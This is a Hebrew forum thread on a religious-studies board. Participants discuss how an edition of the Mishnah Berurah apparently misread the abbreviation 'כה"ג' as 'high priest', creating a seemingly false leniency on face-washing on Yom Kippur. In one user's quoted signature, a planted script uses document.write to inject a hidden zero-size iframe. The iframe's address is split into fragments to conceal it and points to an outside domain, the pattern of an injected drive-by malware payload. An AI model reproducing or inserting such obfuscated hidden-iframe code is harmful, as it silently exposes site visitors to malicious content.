פרק ג' של החלק השני, של ספר "משונצינו ועד וילנא", העוסק בטעויות ב"פתיחת קיצורים וראשי תיבות", https://bit.ly/2N3Ht6m פותח בזה"ל: "הטעויות בספרים הם דבר עתיק שימיו כימי מעתיקי הספרים. אין ספו" /> פורום: עצור כאן חושבים - היתר רחיצת הפנים ביום הכיפורים לכהן גדול – בחדרי חרדים
בית פורומים עצור כאן חושבים

היתר רחיצת הפנים ביום הכיפורים לכהן גדול

שלום אורח. באפשרותך להתחבר או להירשם
הצג 15 הודעות בעמוד הוסף לדף האישי  דווח למנהל שלח לחבר
נשלח ב-29/8/2018 06:10 לינק ישיר 
היתר רחיצת הפנים ביום הכיפורים לכהן גדול

פרק ג' של החלק השני, של ספר "משונצינו ועד וילנא", העוסק בטעויות ב"פתיחת קיצורים וראשי תיבות",

https://bit.ly/2N3Ht6m

פותח בזה"ל:

"הטעויות בספרים הם דבר עתיק שימיו כימי מעתיקי הספרים. אין ספור טעויות נפלו בספרים ומהם שיתכן ולא נדע אותם לעולם. רבותינו הראשונים והאחרונים עמלו לסקל את כל הטעויות מכרם התלמוד, עד כדי כך שהחת"ס כותב בהסכמתו לספר צוהר לבנין, דברים מבהילים על כך שהמהרש"ל הוצרך להכניס את כל כח החידוש שלו בתיקון הטעויות מספרי הש"ס.

כח הטעות האנושי הוא כה גדול עד כדי שאפילו הוצאות הספרים המכובדות שמתהדרות בתיקון הטעויות שהיו במהדורות הקודמות - קורה והן עצמן מוסיפות טעויות חדשות אם מעט ואם הרבה. כך קרה למשל במהדורת הרשב"א של "זכרון יעקב", ובמסכת ביצה (דף יב.)  היה כתוב בדבריו "אלא מעתה הוציא אבנים לב"ה - והכוונה לבית הלל. נתעו המהדירים ופתחו "בית הכסא" במקום "בית הלל", וכדי בזיון וקצף.

ועל כך מרגלא בפומיה של אחד המבינים בענינים אלו: לעולם אל תקיים בספרים וישן מפני חדש תוציאו. אם קנית מהדורה חדשה ומפוארת - אל תזרוק את הישנה כי מי יודע מה עוללה המהדורה החדשה ... וכל זה עוד במהדורות שבאמת משקיעות הרבה בדיוק ההדפסה. אלו הצצות כפטריות אחרי הגשם - יצילנו ה' ממה שהם מעוללים לספרים".

________________________

הוצאת "עוז והדר" בראש חלק א של ה"משנה ברורה" (עמ' ד), מונה את המעלות שנשתבחה בהם מהדורת ה"משנה ברורה" שבהוצאתם:

https://www.otzar.org/wotzar/Book.aspx?602351&

עמ' 13-14 מעמודי אוצר החכמה.

"פתיחת  ראשי תיבות וקיצורים"

"כאשר נעשית עבודה יסודית בפתיחת ראשי תיבות נחסכות הגהות מיותרות, ומתגלה שאותן הגהות משבשות את הכתוב במקום לזקקו. ראה לדוגמה בשער הציון סי' תרט סק"ב המצטט מדרך החיים, וכתב "כל זה הוא לשיטתיה שכתב טעם האיסור משום הכנה או משום דמחזי כרעבתנותא". בכל הדפוסים לא הבינו פשרו של הר"ת ע"נ,  ולכן תיקנו והחליפו: הכנה, [שהוא הטעם שהזכיר המשנ"ב (סק"א) בשם המגן אברהם]. אולם הדברים ברורים שצריך לפתוח עגמת נפש והכוונה לטעם שהביא בעטרת זקנים...".

אלא שב"שער הציון" סימן תריא, ס"ק א, ב"משנה ברורה" של הוצאתם, מצאתי הוכחה לדברים שהובאו לעיל מספר "משונצינו ועד וילנא".

ב"שער הציון" נאמר:

"... ור"א ממיץ בספר יראים [אלא דלדעתו לא אסור מדאורייתא אלא רחיצת כל גופו או על כל פנים רובו, מה שאין כן מיעוטא אינו אלא מדרבנן, ומשום זה הקילו בזה גבי כלה ומלך וכהן גדול...".

כוונת ה"שער הציון" היא ל"ספר יראים", שכתב בסימן תכ, (דפוס ישן – קיח):

"... ומזה למדנו דאפילו רחיצה צונן אסורה מדאורייתא דהכא כתיב מים קרים ודוקא רוב גופו ומתכוין ליהנות ברחיצה אסור מדאורייתא אבל מיעוט גופו אפילו מתכוין ליהנות אינו אסור אלא מדרבנן דתנן המלך והכלה ירחצו פניהם [ע"ג ב'] ואי מדאורייתא אסורה לא שרינן ליה במלך וכלה...".

א"כ, לכאורה, ה"וכהן גדול" היא תוספת של ה"שער הציון", ומתעוררת השאלה, אם מצאנו שהקילו לכלה ומלך, והתירו להם לרחוץ את פניהם ביום הכיפורים, היכן מצאנו שהקילו גם לכהן גדול?

אלא שנראה שמי שהקיל לכהן הגדול לרחוץ את פניו ביום הכיפורים, לא היה השער הציון, אלא חכמי הוצאת "עוז והדר" שהתירו בשמו, שכשמצאו כתוב בהוצאות ה"ישנות" של ה"משנה ברורה": "... ומשום זה הקילו בזה גבי כלה ומלך וכה"ג...", הם החליטו לפתוח את הר"ת "וכה"ג", ובמקום להרחיבו ל"וכהאי גוונא", (כפי שעשו במאגר השו"ת של אוניברסיטת בר–אילן), כשהכוונה היא לאותם שהותר להם ברחיצת הפנים ביוהכ"פ, (ראה "אנציקלופדיה תלמודית", כרך כב, (ערך "יום הכפורים"), מטור תע), הם החליטו בטעות להרחיבו ל"וכהן גדול", ויצרו את ההלכה שלכהן גדול מותר לרחוץ את פניו.




דווח על תוכן פוגעני

מנותק
נשלח ב-29/8/2018 07:27 לינק ישיר 

ומה מרבה הכה"ג?



דדווח על תוכן פוגעני

מחובר
נשלח ב-29/8/2018 09:09 לינק ישיר 
יש3

תלמידטועה כתב:
ומה מרבה הכה"ג?

מסתבר שבין השאר כה"ג.



דדווח על תוכן פוגעני

מחובר
נשלח ב-29/8/2018 09:18 לינק ישיר 

נישטאיך

איקון ירוק.

כרגיל.

מעורר את השאלה מה עושים. אם איננו יכולים לסמוך על המסורת שבספרים, מה עוד יש לנו.

אמנם נראה שאפשר לצמצם את החששות למקומות שבהם הנכתב תמוה. ואז כדאי להביא בחשבון את האפשרות שהיתה טעות בטקסט.

המפתיע הוא שדווקא ספרים חדשים סובלים גם הם מן המכה הזו של טעויות עקב ר"ת.

אמנם אם נתבונן בדבר, הבעיה של מסורות לא אמינות/ מעוררות ספק קיימת כבר בתלמוד. ואיך התמודדו איתה? למדו את שתי המסורות האפשריות, והשתדלו לברור איזו נראית נכונה. וכך זה בכל מחלוקת.


*****
ת"ט

איקון ירוק, כלומר מצטרף לקושייתך.

גם לי היה קשה מאי אותו - כה"ג - ואיך "כהאי גוונא" (=באופן הזה) שייך כאן. לא מצאתי שום אדם שמותר ברחיצת פניו מלבד המלך והכלה, שנזכרים כבר במשנה כהיתר, ולא הוסיפו עליהם.

וצע"ג.

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");




דדווח על תוכן פוגעני

מנותק
נשלח ב-29/8/2018 09:19 לינק ישיר 

יש

כעת ראיתי מה שהגבת. סליחה שאיני מבין, אבל התכוונת לבדיחה או שיש לך הסבר?

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");




דדווח על תוכן פוגעני

מנותק
נשלח ב-29/8/2018 09:25 לינק ישיר 


   יתכן שהכוונה על שם העתיד שאם יקרה מה שניתן יהיה לדמותו למלך וכלה יהיה אפשר להקל. כה'ג בא רק לומר (בינתיים) שיש ללמוד מכאן עיקרון.



דדווח על תוכן פוגעני

מנותק
נשלח ב-29/8/2018 09:48 לינק ישיר 
תלמידטועה

יש לא התבדח
אני התכוונתי לרמוז שלדינא נכון לכתוב כה"ג גם אם לא מטעמיה, כי הוא כהאי גווהא למלך



דדווח על תוכן פוגעני

מחובר
נשלח ב-29/8/2018 13:15 לינק ישיר 

ומה עם החתן?גם הוא נכנס לעיקרון ?



דדווח על תוכן פוגעני

מחובר
נשלח ב-29/8/2018 19:37 לינק ישיר 

מיימוני כתב:

נישטאיך

איקון ירוק.

כרגיל.

מעורר את השאלה מה עושים. אם איננו יכולים לסמוך על המסורת שבספרים, מה עוד יש לנו.

אמנם נראה שאפשר לצמצם את החששות למקומות שבהם הנכתב תמוה. ואז כדאי להביא בחשבון את האפשרות שהיתה טעות בטקסט.

המפתיע הוא שדווקא ספרים חדשים סובלים גם הם מן המכה הזו של טעויות עקב ר"ת.

אמנם אם נתבונן בדבר, הבעיה של מסורות לא אמינות/ מעוררות ספק קיימת כבר בתלמוד. ואיך התמודדו איתה? למדו את שתי המסורות האפשריות, והשתדלו לברור איזו נראית נכונה. וכך זה בכל מחלוקת.


*****
ת"ט

איקון ירוק, כלומר מצטרף לקושייתך.

גם לי היה קשה מאי אותו - כה"ג - ואיך "כהאי גוונא" (=באופן הזה) שייך כאן. לא מצאתי שום אדם שמותר ברחיצת פניו מלבד המלך והכלה, שנזכרים כבר במשנה כהיתר, ולא הוסיפו עליהם.

וצע"ג.

_________________

שומר פיו ולשונו - שומר מצרות נפשו< type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");




אני חושב שהשאלה האם גם הדומים למלך וכלה מותרים תלויה בהבנת הדין האם התירו למלך וכלה למרות שהם בעצם בכלל האיסור או שמכיוון שיש להם צורך בכך הם מראש לא בכלל האיסור, לפי הצד הראשון ללא סמכות אין להתיר במקרים אחרים, ולפי הצד השני יש להתיר.

מסברא לא ברור לי האם הצד השני מובן, אולם מאידך הצד הראשון לא אפשרי אם איסור רחיצה הוא מהתורה מפני שאז אין לחכמים סמכות להתיר, ואכן ספר יראים הוכיח כמדומני מדין כלה ומלך שרחיצת מקצת גופו אינה אסורה אלא מדרבנן.

רק אעירה שהאחרונים כתבו להחמיר בזמננו בכלה מפני שהחתן כל היום בבית הכנסת, ולדעתי זה כהצד השני


נשלח מהאנדרואיד שלי




דדווח על תוכן פוגעני

מחובר
נשלח ב-30/8/2018 09:24 לינק ישיר 

מיימוני 

<מה עושים אם איננו יכולים לסמוך על המסורת שבספרים>

מה עושים כאשר ייתכן שמנהג מקובל מוצאו בשינוי אות אחת ע"י מעתיק, ממה שהיה במקור?

ראה כאן:

מנהג כיסוי השופר בשעת הברכות

https://bit.ly/2BZz6oj

מהי ה"אות", ראה מעמ' קמב, ש"ה מעתה



תוקן על ידי נישטאיך ב- 30/08/2018 09:29:00




דדווח על תוכן פוגעני

מנותק
נשלח ב-30/8/2018 09:39 לינק ישיר 

מיימוני
אתה מקשה קושיה משונה - לא מצאת שום אדם אחר. אטו כי רוכלא ליזל ולימני? וכי גזרת הכתוב במלך וכלה? זיל בתר טעמא (ואם אינך יודע ערש"י על אתר).
כוונתי הייתה כדברי ת"ט (שיערתי שגם הוא התכוון לזה, וכעת התאמתה ההשערה).



דדווח על תוכן פוגעני

מחובר
נשלח ב-31/8/2018 06:09 לינק ישיר 

אפרים

<מה עם החתן>

"... ואע"ג דאשכחן דהתירו איסור דרבנן לכלה כדתנן גבי יו"הכ המלך והכלה ירחצו את פניהם דהוי דיחוי בקום עשה התם לאו משום מעליותא דכלה דהא לא התירו לחתן אלא כדי שלא תתגנה על בעלה ויבואו לידי מריבה והוי כעין גדר לשלום בית דגדול השלום כו'...". (שו"ת בית יהודה (עייאש), יורה דעה, סימן לא).

http://hebrewbooks.org/pdfpager.aspx?req=588&st=&pgnum=74&hilite

ש"ה: תקנ"ט באורח חיים, וגם  שם בהמשך: "א"כ הי"ל להתיר גם לחתן לרחוץ פניו".



תוקן על ידי נישטאיך ב- 31/08/2018 06:39:41




דדווח על תוכן פוגעני

מנותק
נשלח ב-31/8/2018 15:10 לינק ישיר 

נישטאיך,תודה.

הסיבה הייתה ברורה מאליה(שלא תתגנה על בעלה) ולכן שאלתי באירוניה ומה לגבי החתן? (כמובן שהם לא דאגו שמא החתן יתגנה על הכלה)


סנהדרין כ"ב נדרים כ'   
(קישור בהודעה הבאה)






תוקן על ידי אפריםבן ב- 31/08/2018 15:11:19




דדווח על תוכן פוגעני

מחובר
נשלח ב-31/8/2018 15:12 לינק ישיר 

www.hofesh.org.il/articles/woman/woman4.html



דדווח על תוכן פוגעני

מחובר
נשלח ב-2/9/2018 06:51 לינק ישיר 

אפרים בן

תודה. הסתכלתי שם וראיתי את ההתחלה. נסיתי להעתיק אבל זה יוצא הפוך. אתר ישן נושן כנראה.

בכל אופן, הרעיון הוא שהאשה היתה מדוכאת, גולם בשר בידי בעלה, וחכמינו רק פיתחו את הרעיון והגבירו את הדיכוי.

אני עצמי מסכים שהאשה בדרך כלל היתה במעמד כפוף, ולא לחינם היא מוזכרת לאחר העבד והשפחה. אבל סבורני שחז"ל ביקשו לשפר את מעמדה ככל שיכלו. אבל זה לא הנושא באשכול הזה בינתים.

אמנם, זה אני שואל: האם לדעתך זה שהכלה תרחוץ את פניה זה חלק מהשיעבוד?

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");




דדווח על תוכן פוגעני

מנותק
   
בית > פורומים > דת ואמונה > עצור כאן חושבים > היתר רחיצת הפנים ביום הכיפורים לכהן גדול
מנהל לחץ כאן לנעילת האשכול
הוסף לעמוד האישי  דווח למנהל שלח לחבר

bholext